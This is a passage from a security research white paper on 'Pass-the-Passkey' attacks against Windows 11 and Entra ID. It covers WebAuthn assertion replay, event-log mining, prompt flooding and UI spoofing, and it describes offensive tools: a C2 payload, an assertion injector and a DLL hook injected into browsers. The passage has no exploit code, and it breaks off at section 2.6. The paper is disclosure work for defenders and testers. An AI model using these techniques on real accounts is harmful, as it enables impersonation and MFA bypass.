[comment]:<> (===START_PAGE 1===) {0}------------------------------------------------ # Pass-the-Passkey Family of Attacks Michael Grafnetter July 17, 2026 {1}------------------------------------------------ # Contents | | | |--------------------------------------------------------------|-----------| | Change History | 4 | | Acronyms | 5 | | Abstract | 7 | | Disclaimers | 8 | | About the Author | 9 | | 1 Introduction | 10 | | 1.1 Why Pass-the-Paskey?..... | 10 | | 1.2 As Seen at Black Hat..... | 11 | | 1.3 Phishing the Unphishable..... | 11 | | 1.4 Passkey Attack Surface..... | 13 | | 1.5 Passkey Authentication Flow in Windows..... | 14 | | 2 Tools | 16 | | 2.1 Passkey Injector..... | 16 | | 2.2 SharpPasskeys Tool..... | 17 | | 2.3 Beacon Object File (BOF)..... | 17 | | 2.4 WebAuthn Hook..... | 18 | | 2.5 DSInternals Passkey UI..... | 18 | | 2.6 DSInternals.Passkeys PowerShell Module..... | 19 | | 2.7 PowerShell Scripts..... | 19 | | 3 Attacks | 20 | | 3.1 Passkey Assertion Mining via Windows Event Log.....| 20 | | 3.2 Passkey Replay Attack..... | 27 | | 3.3 Passkey Circuit Breaker Attack..... | 31 | | 3.4 Passkey Assertion Phishing Attack..... | 33 | | 3.5 Passkey Prompt Flooding Attack..... | 38 | | 3.6 Credential UI Overlay Attack..... | 39 | | 3.7 Remote Desktop Passkey Phishing Attack..... | 41 | | 3.8 Application Metadata Spoofing Attack..... | 43 | | 3.9 Credential UI Window Handle Spoofing Attack..... | 45 | | 3.10 Passkey to Token Attack..... | 48 | | 3.11 Passkey Detour Attack..... | 51 | | 3.12 Shadow Passkey Attack..... | 54 | | 3.13 Attacking Software Authenticators..... | 55 | | 3.14 Evil Authenticator Plugin Attack (Failed)..... | 63 | | 3.15 User Verification Bypass Attack..... | 64 | | 4 Operations Security (OPSEC) | 65 | | 4.1 Motivation..... | 65 | {2}------------------------------------------------ | | | | |----------|----------------------------------------------------------|-----------| | 4.2 | Passkey Injector Detection..... | 65 | | 4.3 | SharpPasskeys Detection..... | 65 | | 4.4 | WebAuthn API Hook Detection..... | 66 | | 5 | Conclusion..... | 67 | | 5.1 | Summary..... | 67 | | 5.2 | Recommendations for Web Application Developers.....| 67 | | 5.3 | Recommendations for Pentesters and Red Teamers.....| 67 | | 5.4 | Recommendations for IT Administrators..... | 67 | | 6 | Previous Research..... | 68 | | 6.1 | Papers and Talks..... | 68 | | 6.2 | Related Tools..... | 70 | | 7 | Bibliography..... | 71 | {3}------------------------------------------------ # List of Figures | | | | |----|----------------------------------------------------------------------------------|----| | 1 | Pass-the-Paskey Attacks Overview..... | 10 | | 2 | WebAuthn Authentication Flow..... | 11 | | 3 | FIDO Assertion Signature Inputs..... | 12 | | 4 | Passkey Attack Surface..... | 13 | | 5 | Windows Passkey Authentication Flow..... | 14 | | 6 | Passkey Injector User Interface..... | 16 | | 7 | Passkey Injector Architecture..... | 17 | | 8 | DSInternals Passkey UI..... | 18 | | 9 | WebAuthn Assertion in the Windows Event Log..... | 20 | | 10 | Entra ID Challenge Expiration Error..... | 28 | | 11 | Signature Counters in DSInternals Passkey UI..... | 29 | | 12 | Entra ID Signature Counter Error..... | 30 | | 13 | Passkey Injector C2 Command Generator..... | 34 | | 14 | SharpPasskeys Executed through the Mythic C2 Framework..... | 35 | | 15 | Passkey Injector WebAuthn Assertion UI..... | 36 | | 16 | Passkey Selection During Assertion Phishing..... | 37 | | 17 | Passkey Authentication Prompt with Windows Hello Passkey Pre-Selected..... | 37 | | 18 | RDP WebAuthn Pass-Through Settings..... | 41 | | 19 | WebAuthn Prompt Relayed over Hyper-V Enhanced Session..... | 42 | | 20 | WebAuthn Prompt Relayed over RDP..... | 42 | | 21 | Original Passkey UI Version Information..... | 43 | | 22 | Original Passkey UI Application Identity..... | 44 | | 23 | Spoofed Microsoft Edge Application Identity..... | 45 | | 24 | Credential UI Window Handle Injection..... | 47 | | 25 | Passkey Injector OpenID Connect Authorization Request..... | 49 | | 26 | Passkey Injector OpenID Connect Token Response..... | 50 | | 27 | Built-In WebAuthn Prompt Fallback..... | 50 | | 28 | Passkey Detour Attack:Capture Mode..... | 51 | | 29 | Passkey Detour Attack:Inject Mode..... | 52 | | 30 | Passkey Detour Attack:Replay Mode..... | 53 | | 31 | Entra ID Administrative Passkey Registration with DSInternals.Passkeys.....| 55 | | 32 | Synced vs.Device-Bound Passkeys..... | 56 | | 33 | Microsoft Password Manager Passkey Sync Architecture..... | 57 | | 34 | KeePassXC Passkey Export Warning..... | 58 | | 35 | Bitwarden Vault Export..... | 59 | | 36 | Software Signer Signature Parameters..... | 62 | | 37 | Windows Passkey Authenticator Plugins..... | 63 | | 38 | Authenticator Selection During Passkey Registration..... | 64 | {4}------------------------------------------------ # Change History | Date | Version | Description | |------------|---------|-------------------------| | 2026-07-17 | 1.0 | Initial public release.| {5}------------------------------------------------ # Acronyms The following acronyms and abbreviations are used throughout this document: | Acronym | Meaning | |---------|---------------------------------------------------------------| | AAGUID | Authenticator Attestation Globally Unique Identifier | | AD DS | Active Directory Domain Services | | API | Application Programming Interface | | ATT&CK | Adversarial Tactics, Techniques, and Common Knowledge (MITRE) | | BLE | Bluetooth Low Energy | | C2 | Command and Control | | caBLE | Cloud-Assisted Bluetooth Low Energy (hybrid transport) | | COM | Component Object Model | | CTAP2 | Client to Authenticator Protocol 2 | | CVE | Common Vulnerabilities and Exposures | | CVSS | Common Vulnerability Scoring System | | CWE | Common Weakness Enumeration | | CXF | Credential Exchange Format | | DLL | Dynamic-Link Library | | ECDSA | Elliptic Curve Digital Signature Algorithm | | EdDSA | Edwards-curve Digital Signature Algorithm | | EDR | Endpoint Detection and Response | | FIDO | Fast IDentity Online | | FIDO2 | FIDO2 (WebAuthn together with CTAP2) | | GUI | Graphical User Interface | | HMAC | Hash-based Message Authentication Code | | HTTPS | Hypertext Transfer Protocol Secure | | JSON | JavaScript Object Notation | | JWT | JSON Web Token | | MFA | Multi-Factor Authentication | | MSIX | Microsoft application package format | | MSRC | Microsoft Security Response Center | | MVP | Most Valuable Professional (Microsoft award) | | NFC | Near Field Communication | | NGC | Next Generation Credentials (Windows Hello key) | {6}------------------------------------------------ --- | Acronym | Meaning | |----------|---------------------------------| |

| | | NTLM | NT LAN Manager | | OAuth | Open Authorization | | OPSEC | Operations Security | | OS | Operating System | | PIN | Personal Identification Number | | PoC | Proof of Concept | | PRF | Pseudo-Random Function | | RDP | Remote Desktop Protocol | | ROR | Related Origin Requests | | RP | Relying Party | | RSA | Rivest–Shamir–Adleman | | SDK | Software Development Kit | | SID | Security Identifier | | TLS | Transport Layer Security | | TPM | Trusted Platform Module | | U2F | Universal 2nd Factor | | UI | User Interface | | UP | User Presence | | USB | Universal Serial Bus | | UV | User Verification | | VBS | Virtualization-Based Security | | VPN | Virtual Private Network | | WebAuthn | Web Authentication (W3C API) | | XDR | Extended Detection and Response | --- {7}------------------------------------------------ # Abstract Our research on passkey security uncovered three practically exploitable zero-day vulnerabilities in Windows 11 and Microsoft Entra ID.Two of them form a replay chain:Windows writes complete WebAuthn assertions to the event log for device-bound and hybrid authenticators, while Microsoft Entra ID failed to enforce replay protections, allowing attackers to impersonate privileged cloud identities while bypassing phishing-resistant MFA. We also introduce the Pass-the-Passkey family of attack techniques and the tooling we developed to study them, including utilities for assertion injection, event log mining, and browser process hooking.Malware-initiated passkey phishing stands out among these attack paths:by flooding users with Windows authentication dialogs that appear trustworthy due to an unfixed Credential UI window handle spoofing vulnerability, an attacker can effectively coerce victims into approving malicious passkey requests.Our tools help penetration testers, red teamers, and defenders validate passkey implementations and better understand the Windows WebAuthn attack surface. {8}------------------------------------------------ # Disclaimers ## Warning The information in this document is provided for educational purposes only.It is not intended to be used for malicious purposes, and the author does not condone or endorse any illegal activities.Readers are responsible for ensuring that they comply with all applicable laws and regulations when using the information contained in this document. ## Important The attack techniques described in this document worked at the time of writing.However, Microsoft might have already deployed mitigations in response to the disclosed vulnerabilities. {9}------------------------------------------------ # About the Author ![Portrait photo of Michael Grafnetter, a man with a shaved head and beard, wearing a dark suit jacket and white shirt, standing in front of a building with large windows.](07f537f57749b75157f742525e6a8dbc_img.jpg) Portrait photo of Michael Grafnetter, a man with a shaved head and beard, wearing a dark suit jacket and white shirt, standing in front of a building with large windows. Michael Grafnetter works as a Principal Security Researcher at [SpecterOps](#).He is a [Microsoft MVP](#) and an expert on Windows security and PowerShell.Michael is best known for inventing the Shadow Credentials attack primitive and creating the [Directory Services Internals$DSInternals$ PowerShell module](#).He has presented his security research at many international conferences, including Black Hat, BSides, HipConf, SecTor, and TROOPERS. [!\[Twitter icon\]$4cafc60cd39da821525d7c6589540296\_img.jpg$ Twitter@MGrafnetter](#)[!\[Blog icon\]$9479d69b60a82161c6862eaa53eb4db3\_img.jpg$ Blog www.dsjinternals.com](https://www.dsjinternals.com)[!\[LinkedIn icon\]$f80254b170d0ecdc443847276e625120\_img.jpg$ LinkedIn grafnetter](https://www.linkedin.com/in/grafnetter)[!\[GitHub icon\]$ceb7cef9f9d693d102dfe501130037c6\_img.jpg$ GitHub MichaelGrafnetter](https://github.com/MichaelGrafnetter) {10}------------------------------------------------ # 1 Introduction ## 1.1 Why Pass-the-Paskey? Coming from the field of enterprise security, we have spent much of our careers studying privilege escalation and lateral movement through attacks against Windows Integrated Authentication.But as more companies adopt cloud services, we decided to shift our attention to passkeys, which are slowly but steadily becoming the norm.Surprisingly, our research has shown Microsoft's Windows and Entra ID passkey stack to be vulnerable to attacks fundamentally similar to **Pass-the-Hash** and **NTLM Relay**.We have therefore decided to call this category of attacks **Pass-the-Paskey**. Our investigation started with a simple question:if passkeys are meant to eliminate the phishing, replay, and relay attacks that plague passwords, what happens when the surrounding implementation falls short? We quickly found that **Microsoft Entra ID** was missing protections against WebAuthn assertion replay attacks, while Windows wrote assertions generated by FIDO2 authenticators such as **YubiKeys** and **Windows Hello** to an event log readable by authenticated unprivileged users, including remote ones.Combined, these weaknesses allowed us to impersonate privileged accounts in Microsoft's cloud services while bypassing the enforcement of phishing-resistant MFA and remaining **undetected** by popular XDR solutions. As the research expanded, we found that the same Windows passkey surface also exposed opportunities for phishing, tampering, spoofing, and **prompt flooding attacks**.Some of these attacks can even be executed on compromised terminal hosts or virtual machines to which target identities connect.We demonstrate their feasibility using **Mythic**, a popular C2 framework. ![A diagram illustrating the Pass-the-Paskey attack flow across three main components:a Bypass Party, Compromised Computer A, and Compromised Computer B, all interacting with an Operator's Computer.](8e14350b4b669119a3bdfca7869110ca_img.jpg) The diagram illustrates the Pass-the-Paskey attack flow: - Bypass Party (Paskey Authentication):** Initiates an HTTPS request to Compromised Computer A.- Compromised Computer A:** Contains a Web Browser that triggers a WebAuthn API hooking.This leads to a WebAuthn Prompt (Bio/PIN/QR).The system also includes Passkey Authenticators (Windows Hello, Yubikey, iPhone) and a C2 Agent (SharpPaskeys.exe).The C2 Agent communicates with the Operator's Computer via a C2 channel.- Compromised Computer B:** Contains Exported Paskey Files (KeePassXC/Bitwarden/CFX) and a Windows Event Log (Microsoft-Windows-WebAuthn/Operational).It syncs paskeys and stores replayable assertions.- Operator's Computer:** Contains a Desktop App (PaskeyInjector.exe) that receives paskeys from Compromised Computer B and uses them to generate replayable assertions.These assertions are sent back to the WebAuthn Prompt on Compromised Computer A. A diagram illustrating the Pass-the-Paskey attack flow across three main components:a Bypass Party, Compromised Computer A, and Compromised Computer B, all interacting with an Operator's Computer. Figure 1:Pass-the-Paskey Attacks Overview Because the WebAuthn specification mandates a 25-step passkey validation process involving non-trivial cryptography and transactional processing, even Microsoft, one of the standard's co-authors, made significant implementation mistakes.[1] We expect that by open-sourcing our tools, we will enable other penetration testers to discover many more web application vulnerabilities stemming from non-compliant passkey verification procedures. {11}------------------------------------------------ ## 1.2 As Seen at Black Hat Our research on passkey security was first presented at the Black Hat USA 2026 conference in the *Pass-the-Paskey Family of Attacks* talk.This white paper summarizes the findings and provides additional technical details. ![black hat USA 2026 logo](4d2624b1b2871a23382b647cd71e1c1c_img.jpg) black hat USA 2026 logo ## 1.3 Phishing the Unphishable WebAuthn’s resistance to phishing and replay attacks comes from cryptographic properties that shared secrets such as passwords and one-time codes simply do not have. ![WebAuthn Authentication Flow diagram showing interactions between Relying Party Server, Browser, and Authenticator.](853f59c89931a666c07903b31d098277_img.jpg) The diagram illustrates the WebAuthn Authentication Flow with the following components and steps: - Components:** - Relying Party Server** (top dashed box) - Browser** (middle box, split into **RP JavaScript Application** and **Browser** layers) - Authenticator** (bottom dashed box) - Flow Steps:** - Challenge:** The Relying Party Server sends a **challenge** (1) to the Browser. - Client Data Hash:** The Browser passes the **relying party id, clientDataHash** (2) to the Authenticator. - User Verification:** The Authenticator performs **user verification, create assertion** (3). - Authenticator Response:** The Authenticator sends **authenticatorData, signature** (4) back to the Browser. - Client Data JSON:** The Browser sends **clientDataJSON, authenticatorData, signature** (5) to the Relying Party Server. - Server Validation:** The Relying Party Server performs **server validation** (6).- API Interaction:** The **WebAuthnAPI** (specifically `navigator.credentials.get()`) is shown initiating the process from the Browser.- Request/Response Labels:** - Input to Browser:**PublicKeyCredentialRequestOptions** - Output from Browser:**AuthenticatorAssertionResponse** WebAuthn Authentication Flow diagram showing interactions between Relying Party Server, Browser, and Authenticator. Figure 2:WebAuthn Authentication Flow¹ When a relying party starts the WebAuthn assertion ceremony, i.e., authentication, it sends a random, single-use challenge to the browser.The browser assembles this challenge together with the true origin of the calling page and the request type into a `clientData` structure, hashes it, and passes the resulting `clientDataHash` to the authenticator, such as Windows Hello or a YubiKey.The authenticator then signs the concatenation of its own `authenticatorData` and the `clientDataHash` with a private key that never leaves the device.[1] ¹Source:[Web Authentication:An API for accessing Public Key Credentials — Level 3, §1.3.3 Authentication.](#) [1] {12}------------------------------------------------ ![Diagram showing the inputs for a FIDO Assertion Signature.It includes 'Generated by authenticator' (authenticatorData) and 'Received from client' (clientDataHash).The authenticatorData is a structure with fields:RP ID HASH (32 bytes), FLAGS (1 byte), COUNTER (4 bytes, big-endian uint32), and EXTENSIONS (variable length if present, CBOR).The COUNTER field has a bit layout:7 bits for ED, AT, BS, BE, UV, and 0 bits for UP.The authenticatorData and clientDataHash are concatenated (||) and then signed using a Private key to produce the ASSERTION SIGNATURE.](eefe19c5e14dc4d6c316b7f7fbb7d7d7_img.jpg) ``` graph TD subgraph "Generated by authenticator" AD["authenticatorData [RP ID HASH | FLAGS | COUNTER | EXTENSIONS]"] end CDH["Received from client clientDataHash"] PKEY["Private key"] SIG["Sign"] AS["ASSERTION SIGNATURE"] AD --> cat((||)) CDH --> cat cat --> SIG PKEY --> SIG SIG --> AS ``` Diagram showing the inputs for a FIDO Assertion Signature.It includes 'Generated by authenticator' (authenticatorData) and 'Received from client' (clientDataHash).The authenticatorData is a structure with fields:RP ID HASH (32 bytes), FLAGS (1 byte), COUNTER (4 bytes, big-endian uint32), and EXTENSIONS (variable length if present, CBOR).The COUNTER field has a bit layout:7 bits for ED, AT, BS, BE, UV, and 0 bits for UP.The authenticatorData and clientDataHash are concatenated (||) and then signed using a Private key to produce the ASSERTION SIGNATURE. Figure 3:FIDO Assertion Signature Inputs² Two design decisions make this flow resistant to the attacks that plague passwords: - **Origin binding (phishing resistance).** The `origin` recorded in `clientDataJSON` is the real origin of the page that invoked the API, as determined by the browser — not a value the page can forge.A phishing site cannot obtain an assertion that a legitimate relying party will accept, because the signed origin will not match the expected one, and the credential is scoped to the relying party’s RP ID.There is no secret for the user to mistakenly hand over.WebAuthn does permit one controlled relaxation of this rule:[Related Origin Requests$ROR$](#) let a relying party authorize a fixed, well-known set of additional origins for the same RP ID, so a single passkey can be used across a family of related domains without weakening the origin check for anyone else.[1] - **Challenge freshness and signature counters (replay resistance).** Each ceremony uses a fresh, single-use challenge that the relying party is expected to remember and validate, so an old assertion cannot be reused.Hardware authenticators additionally maintain a monotonically increasing [signature counter](#) that a relying party can track to detect cloned credentials.[1] The crucial caveat is that these guarantees are only as strong as the *relying party’s* verification logic.The WebAuthn Level 3 specification defines a 25-step assertion verification procedure [1], and several of the most important anti-replay checks — single-use challenges, challenge-to-session binding, and signature counter regression — are the relying party’s responsibility.As the following sections demonstrate, when a relying party skips these steps, the *unphishable* property quietly degrades into something an attacker can pass, relay, or replay.Origin binding also depends on the browser and the OS path beneath it remaining trustworthy:malicious browser extensions or OS-level interception can undermine that guarantee, as discussed later in this paper. ²Source:[Web Authentication:An API for accessing Public Key Credentials — Level 3, §6.1 Authenticator Data](#).[1] {13}------------------------------------------------ ## 1.4 Passkey Attack Surface Before diving into individual attacks, it is worth mapping the full passkey attack surface.A single passkey authentication touches many components across several trust boundaries, and each of them is a potential target. ![A diagram showing the Passkey Attack Surface with layers:Public Key Storage, Relying Party, HTTPS, Web Browser (with WebAuthn API and Extensions), Password Manager, Operating System, Syncable Passkeys, Platform Authenticator, CTAP2, BUS, USB, NFC, BLE, and Secure Element - Private Key Storage.](bd671b21db63e6fdb2196e9b18502aac_img.jpg) The diagram illustrates the Passkey Attack Surface as a stack of layers.From top to bottom, the layers are: - Public Key Storage** (blue bar) - Relying Party** (green bar) - HTTPS** (yellow box with a lock icon) - Web Browser** (red bar) containing **WebAuthn API** (with a lock icon) and **Extensions** (with a gear icon).- Password Manager** (purple box with a key icon) and **Operating System** (green box with a computer icon).- Syncable Passkeys** (purple box with a cloud icon), **Platform Authenticator** (green box with a computer icon), and **CTAP2** (orange box with a key icon).- BUS** (green box with a gear icon), **USB** (orange box with a USB icon), **NFC** (blue box with an NFC icon), and **BLE** (orange box with a BLE icon).- Secure Element - Private Key Storage** (teal bar at the bottom with a shield icon). A diagram showing the Passkey Attack Surface with layers:Public Key Storage, Relying Party, HTTPS, Web Browser (with WebAuthn API and Extensions), Password Manager, Operating System, Syncable Passkeys, Platform Authenticator, CTAP2, BUS, USB, NFC, BLE, and Secure Element - Private Key Storage. Figure 4:Passkey Attack Surface From top to bottom: - **Relying party and public-key storage.** The cloud service verifies assertions and stores each user’s public keys and metadata, including credential IDs, signature counters, and authenticator AAGUIDs.Server-side verification flaws — skipped challenge checks, untracked counters, weak origin validation — originate here and are the root cause of the replay and relay attacks described later.Compromised privileged user or application identities can also sometimes register passkeys on behalf of other, even more privileged users, enabling privilege elevation or persistence that is difficult to detect.- **HTTPS transport.** Assertions and challenges travel between the browser and the relying party over TLS.A man-in-the-middle adversary can attempt to capture and forward assertions or inject attacker-controlled challenges into the authentication flow.- **Web browser.** The browser exposes the WebAuthn API (`navigator.credentials`) and enforces origin binding.It is also where malicious extensions or injected JavaScript can observe or tamper with the ceremony.- **Operating system and password managers.** On Windows, the OS WebAuthn API mediates between the browser and the authenticators, and third-party password managers can register as authenticator plugins.Both the OS (for example, the WebAuthn event log) and the managers (for example, exported passkey files) can leak sensitive material.- **Authenticators and transports.** Platform authenticators such as Windows Hello, roaming authenticators reached over CTAP2 via USB, NFC, or BLE, and syncable passkeys held by password managers ultimately store or sync the private keys.The secure element that holds those keys is the hardest layer to attack directly — but, as the rest of this paper shows, an attacker {14}------------------------------------------------ rarely needs to, because the surrounding software offers far easier targets.[2] While each layer matters, the remainder of this paper narrows its focus to the operating-system layer, specifically Windows' implementation of passkey authentication and the attack surface it exposes. ## 1.5 Passkey Authentication Flow in Windows Because most of our research targets Windows 11, it helps to understand how a WebAuthn ceremony is actually serviced on that platform.When a web page calls `navigator.credentials.get()` or `navigator.credentials.create()`, the browser does not talk to the authenticators directly, unlike on Linux, for example, where browsers can interact with authenticators more directly through CTAP transports.Instead, it forwards the request to the Windows WebAuthn API (`webauthn.dll`) through the `WebAuthNAuthenticatorGetAssertion()` and `WebAuthNAuthenticatorMakeCredential()` functions.[3] ![A flowchart titled 'Windows Passkey Authentication Flow' showing the interaction between a Web Browser, Windows WebAuthn API, Authenticator Picker UI, Windows Event Log, App (MSIX Package), and various authentication transports and databases.](9ae17964ddd9b814c7d905b1af2fddf2_img.jpg) ``` graph TD; subgraph WebBrowser [Web Browser]; B1[navigator.credentials.get()/navigator.credentials.create()]; end; B1 --> WWA[WebAuthNAuthenticatorMakeCredential()/WebAuthNAuthenticatorGetAssertion()]; WWA --> WWAAPI[Windows WebAuthn API (webauthn.dll)]; WWAAPI --> Enum[Enumerate authenticators]; WWAAPI --> Log[Log WebAuthn/CTAP2 events]; Log --> WEL[Windows Event Log (Microsoft-Windows-WebAuthN/Operational)]; WWAAPI --> APICall[WebAuthNPluginAddAuthenticator()]; Enum --> AUI[Authenticator Picker UI (CredentialUIBroker.exe)]; AUI --> B1B[User selects built-in]; AUI --> B1E[User selects external key]; AUI --> B1P[User selects phone]; B1B --> WH[Windows Hello (Platform Authenticator)]; B1E --> B1CT[CTAP2 Transport (USB/NFC/BLE)]; B1P --> B1PH[Phone/Tablet (caBLE/Hybrid)]; B1CT --> WWAAPI; B1PH --> WWAAPI; B1P --> WWAAPI; B1P --> APICall; APICall --> App[App (MSIX Package) COM Server (Cut-of-Process)]; subgraph App; IP[IPPluginAuthenticator COM Interface]; PM[Password Manager]; end; IP --> Unlock[Unlock and sign assertion]; Unlock --> PM; PM --> Read[Read/Write credentials]; Read --> LPD[(Local Password Database)]; PM --> Sync[Sync passkeys]; Sync --> CV[(Cloud Vault)]; ``` A flowchart titled 'Windows Passkey Authentication Flow' showing the interaction between a Web Browser, Windows WebAuthn API, Authenticator Picker UI, Windows Event Log, App (MSIX Package), and various authentication transports and databases. Figure 5:Windows Passkey Authentication Flow The Windows WebAuthn API enumerates the available authenticators through the Cryptographic Services (`CryptSvc`) system component, which implements the CTAP2 transports, and presents the {15}------------------------------------------------ Authenticator Picker UI, hosted by `CredentialUIBroker.exe`.Depending on the user's choice, the request is routed to one of several authenticators: - **Windows Hello**, the built-in platform authenticator.- A **roaming authenticator** reached over the CTAP2 protocol via USB, NFC, or BLE, e.g., a YubiKey.- A **phone or tablet** acting as a hybrid (caBLE) authenticator.- A **third-party authenticator plugin** packaged as an MSIX app that implements the `IPluginAuthenticator` COM interface and is typically backed by a password manager.These managers can store credentials in a local database and typically synchronize passkeys to a cloud vault. Throughout this flow, the in-process `webauthn.dll` and the `CryptSvc` service write diagnostic events to the `Microsoft-Windows-WebAuthN/Operational` event log. Almost every arrow in this diagram is a place where the ceremony can be observed or tampered with.Our [SharpPasskeys](#) tool and [WebAuthn Hook](#) operate at the `webauthn.dll` boundary; the authenticator plugin path is the subject of our [Evil Authenticator Plugin](#) investigation; and the event log is the source for our [Passkey Assertion Mining](#) attack. {16}------------------------------------------------ # 2 Tools As part of our research on passkey security, we developed several unique tools for penetration testing and troubleshooting that provide deeper visibility into Windows' WebAuthn implementation. ## 2.1 Passkey Injector The Passkey Injector is a simple web browser built around the Microsoft Edge WebView2 control that intercepts WebAuthn assertion requests and allows responses to be injected in JSON format. ![Screenshot of the Passkey Injector tool showing a Microsoft login page and a 'Passkey Authentication (WebAuthn Assertion)' window with request details and a JSON response.](c3ee41c6d46565ab4198d0a9c69108c5_img.jpg) The image shows a desktop environment with a web browser window and an application window titled 'Passkey Authentication (WebAuthn Assertion)'.The browser window displays a Microsoft login page for 'adelev@dev.dsiinternals.com' with a prompt for 'Face, fingerprint, PIN or security key'.The application window shows the following details: **Request (Parsed)** - Relaying Party ID:login.microsoft.com - Challenge:Ty5leUowZVh8aU9p5KtWMVfPTENKsGjH2Y1PaUpTVXpIMU5pXNbmczZENjNkIRkdHMFjMVmtaakUUIhWap6VVOXQ2RrNWFMWFI - Mediation:User Verification, Required, Timeout:600,000 - Extensions: **Allow Credentials:** | ID | Transports | Type | |----------------------------------------------------------------|------------|------------| | uPrFS_gYHY86sRuhmCciwK3Ks3GBXhwqinGrDBVE-s | | public-key | | PWk3eAmh2LeH9wAilx_KULCWa3eOeXTBnM-7ySs | | public-key | | 2ZYF1f_3of_MnRnHm4TfH7v_FWpOrS3yWb_jze-3NALMPudwekGinMbcRuk4u8 | | public-key | | Di44tkd54kHQIR0yRuwdVjWN0eXxvgnm7hwapLA | | public-key | | HP-qmGc7ZmOyZuH-BigIQuY-iExgfl3kkAHTM61u5g | | public-key | **Request (JSON)** Timers:Request Expiration:08:12, Challenge JWT Expiration:02:46 **Response (JSON)** ``` { "id":"584QIDkm-8C0n3k7KAsla7d3r914aq5H-eVCHL5SeJM", "rawId":"584QIDkm-8C0n3k7KAsla7d3r914aq5H-eVCHL5SeJM", "type":"public-key", "authenticatorAttachment":"platform", "response":{ "authenticatorData":"MeyE1KCTIb1pX6xvYID89vfa3zHfYw6LwVf0po0IEfAAAAG", "signature":"M8Vc1001y098R0od_X10XKs-8mS5e-ZuZP31kQzconKCePWTALM4W0J6RwThc1D-zxe3FA36wYyQk1xv6-1q78oAM152a", "userHandle":"R0xpaPaVa8bW655710aWDB80VhN8Z2-w-FN51ew", "clientDataJSON":"0y3No8B11jo1dV1YXV9d4Uz2V01leV2jNn06s3md11jo1VHk130Vb3dVwhCVV05cFndFdnVxZwEV052FHSdzMxQVV" }, "clientExtensionResults":{} } ``` Buttons:Paste response, Software signer, Show C2 commands, Submit Screenshot of the Passkey Injector tool showing a Microsoft login page and a 'Passkey Authentication (WebAuthn Assertion)' window with request details and a JSON response. Figure 6:Passkey Injector User Interface There are multiple use cases for tampering with the passkey authentication flow, including: - Replay of captured assertions from network traffic, API hooks, or browser logs.- Phishing attacks by forwarding attacker-controlled assertions.- Injection of modified assertions to test server-side validation.- Signing challenges using stolen synchronized passkeys, e.g., from KeePassXC or Bitwarden.- Analysis of WebAuthn features and extensions used by a particular cloud service.- Learning how the WebAuthn protocol works. The following diagram shows the high-level architecture of the tool and its interaction with external components. {17}------------------------------------------------ ![A complex architecture diagram of the Passkey Injector.It shows a 'WebApp2 Control' containing a 'Web Application' and a 'WebAuthn Hook (Injected JavaScript)'.The hook captures OIDC tokens and redirects WebAuthn requests to a 'WebAuthn Bridge (COM Interop)'.The bridge can interrupt the flow or send a 'Replay attack' to a 'Custom WebAuthn Dialog Windows'.The 'Passkey Injector (WPF App)' loads a passkey from 'Windows Event Log (Microsoft-Windows-WebAuthN/Operational)' and uses an 'Assertion Signer' to sign challenges with a software key.This signer can be used in a 'Phishing attack' or 'Parameter tampering' to feed into the 'Custom WebAuthn Dialog Windows'.The 'Custom WebAuthn Dialog Windows' interacts with a 'Relying Party (Passkey Authentication)' via HTTPS and can export passkey files to 'KeePassXC/Bitwarden/CFX'.A 'C2 Agent (SharpPasskeys.exe)' is also shown interacting with the system.](dfe556fea00682b09a59427aaf72051c_img.jpg) A complex architecture diagram of the Passkey Injector.It shows a 'WebApp2 Control' containing a 'Web Application' and a 'WebAuthn Hook (Injected JavaScript)'.The hook captures OIDC tokens and redirects WebAuthn requests to a 'WebAuthn Bridge (COM Interop)'.The bridge can interrupt the flow or send a 'Replay attack' to a 'Custom WebAuthn Dialog Windows'.The 'Passkey Injector (WPF App)' loads a passkey from 'Windows Event Log (Microsoft-Windows-WebAuthN/Operational)' and uses an 'Assertion Signer' to sign challenges with a software key.This signer can be used in a 'Phishing attack' or 'Parameter tampering' to feed into the 'Custom WebAuthn Dialog Windows'.The 'Custom WebAuthn Dialog Windows' interacts with a 'Relying Party (Passkey Authentication)' via HTTPS and can export passkey files to 'KeePassXC/Bitwarden/CFX'.A 'C2 Agent (SharpPasskeys.exe)' is also shown interacting with the system. Figure 7:Passkey Injector Architecture ## 2.2 SharpPasskeys Tool SharpPasskeys is a.NET Framework 4.8 assembly designed to be executed as a payload by a Windows C2 agent such as [Apollo](#), which runs under the [Mythic](#) command-and-control framework. The main purpose of this payload is to display a passkey authentication prompt to the user and retrieve the resulting assertion.SharpPasskeys can interact with the WebAuthn API directly or through the [WebAuthn Hook](#) injected into a browser process.It can also list available Windows Hello credentials and monitor the Windows Event Log for new WebAuthn-related events. ## 2.3 Beacon Object File (BOF) For OPSEC reasons, we have decided not to publish our BOF implementation of [SharpPasskeys](#) yet. {18}------------------------------------------------ ## 2.4 WebAuthn Hook The WebAuthn Hook is a native DLL that [SharpPasskeys](#) can inject into browser processes.It uses Microsoft Detours to intercept the [WebAuthNAuthenticatorGetAssertion](#) Win32 API call, allowing operators to observe and tamper with the WebAuthn assertion workflow. The hook communicates with the [SharpPasskeys](#) process over the `\\.\pipe\WebAuthnHook` named pipe.Through this control channel, SharpPasskeys can monitor assertion requests and responses, capture the resulting `PublicKeyCredential`, inject a replacement challenge, or withhold a successful assertion from the browser. ## 2.5 DSInternals Passkey UI The DSInternals Passkey UI provides a graphical user interface for interacting with the Windows WebAuthn API and exposes almost all of its capabilities.It can be used for assertion request tampering, exploring the WebAuthn API, or testing the capabilities and behavior of roaming authenticators. ![Screenshot of the DSInternals Passkey UI application showing configuration options and a Windows Security sign-in dialog.](67af94a7c462e85f3a310c9a45c0980d_img.jpg) The screenshot displays the DSInternals Passkey UI application.The main window has a dark theme and includes a menu bar with 'Load Default Options' and 'Help'.Below the menu, tabs for 'Windows API Information', 'Registration', 'Authentication', 'Platform Credentials', 'Authenticators', and 'Event Log' are visible.The 'Authentication' tab is active, showing 'Assertion Options'.Under 'Relying party', 'login.microsoft.com' is entered.'Authenticator' is set to 'Any'.'User verification' is set to 'Required'.A 'Challenge' section contains a long string of base64 characters.Below this, 'HMAC secret salt 1' is shown as '8A8F1518100B3EB2F6DD0BF5D72E5BA7DFEB71591ED13CD60D903F9A6899E'.A 'Response' section at the bottom shows a JSON object with fields like 'id', 'rawId', 'response', 'authenticatorData', 'signature', 'userHandle', 'clientDataJSON', and 'type'.Overlaid on the right is a 'Windows Security' dialog box titled 'Sign in with a passkey'.It shows a profile for 'satya@microsoft.com' and a fingerprint icon with the text 'Scan your finger on the fingerprint reader.' and a 'Cancel' button. Screenshot of the DSInternals Passkey UI application showing configuration options and a Windows Security sign-in dialog. Figure 8:DSInternals Passkey UI {19}------------------------------------------------ ## 2.6 